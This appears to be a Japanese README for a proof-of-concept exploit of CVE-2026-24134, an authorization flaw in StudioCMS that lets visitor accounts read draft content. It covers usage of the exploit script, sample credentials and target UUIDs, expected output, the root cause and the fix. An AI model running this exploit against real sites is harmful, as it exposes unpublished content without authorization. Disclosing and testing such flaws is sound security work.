
# CVE-2026-24134 の概念実証エクスプロイト StudioCMS における Broken Object Level Authorization(オブジェクトレベル認可の欠陥)脆弱性を実証し、下書きコンテンツへの不正アクセスを示します。
このリポジトリには、StudioCMS における CVE-2026-24134(オブジェクトレベル認可の欠陥(BOLA))の概念実証(PoC)が含まれています。
cve_2026_24134_poc.py - Python エクスプロイトスクリプトpip install requests colorama
# 基本的な使用方法
python3 cve_2026_24134_poc.py \
-u http://localhost:4321 \
--username visitor_user \
--password visitor_pass \
--uuid bad87630-69a4-4cd6-bcb2-6965839dc148
# 出力をファイルに保存
python3 cve_2026_24134_poc.py \
-u http://localhost:4321 \
--username visitor_user \
--password visitor_pass \
--uuid bad87630-69a4-4cd6-bcb2-6965839dc148 \
--save
python3 cve_2026_24134_poc.py \
-u http://localhost:4321 \
--auto-test \
--visitor-user visitor01 \
--visitor-pass visitorpass \
--editor-user editor01 \
--editor-pass editorpass \
--uuid bad87630-69a4-4cd6-bcb2-6965839dc148
-u, --url - 対象の StudioCMS ベース URL--uuid - 対象の下書きコンテンツ UUID--username - 認証用のユーザー名--password - 認証用のパスワード--auto-test - 自動テストを有効化--visitor-user - ビジターアカウントのユーザー名--visitor-pass - ビジターアカウントのパスワード--editor-user - エディターアカウントのユーザー名--editor-pass - エディターアカウントのパスワード--save - レスポンス内容をファイルに保存--no-ssl-verify - SSL 証明書の検証を無効化python3 cve_2026_24134_poc.py \
--url http://target.com \
--auto-test \
--visitor-user test_visitor \
--visitor-pass SecurePass123! \
--editor-user test_editor \
--editor-pass SecurePass456! \
--uuid 12345678-1234-1234-1234-123456789abc
脆弱な場合の期待される出力:
[+] Successfully authenticated as test_visitor
[*] Detected user role: Visitor
[+] Successfully accessed draft content!
[!] VULNERABILITY CONFIRMED!
パッチ適用済みの場合の期待される出力:
[+] Successfully authenticated as test_visitor
[*] Detected user role: Visitor
[*] Access denied (403 Forbidden)
[+] VULNERABILITY NOT PRESENT
python3 cve_2026_24134_poc.py \
--url http://localhost:4321 \
--username attacker \
--password pass123 \
--uuid target-uuid-here \
--save
これにより、完全な下書きコンテンツが draft_{uuid}.html に保存されます。
[+] - 操作成功(緑)[*] - 情報メッセージ(青)[!] - 警告(黄)[-] - エラー(赤)脆弱なバージョンの StudioCMS を実行している場合は、直ちにパッチ適用済みのバージョンに更新してください。
根本的な問題: 認可チェックがサーバー側ではなくクライアント側(JavaScript)で実行されていました。
開発チームによると:
"Currently the rank level check to redirect is being done in client JS, which was supposed to be replaced shortly there after."
修正方法: 認可をクライアントからサーバーへ移行します。
重要な原則: クライアントを決して信頼しないこと。クライアント側のセキュリティ = UX の強化。サーバー側のセキュリティ = 実際の保護。
重要: このツールは、教育目的および許可されたセキュリティテスト専用に提供されています。
この PoC または脆弱性に関する質問については:
この PoC は教育目的で公開されています。責任を持って倫理的に使用してください。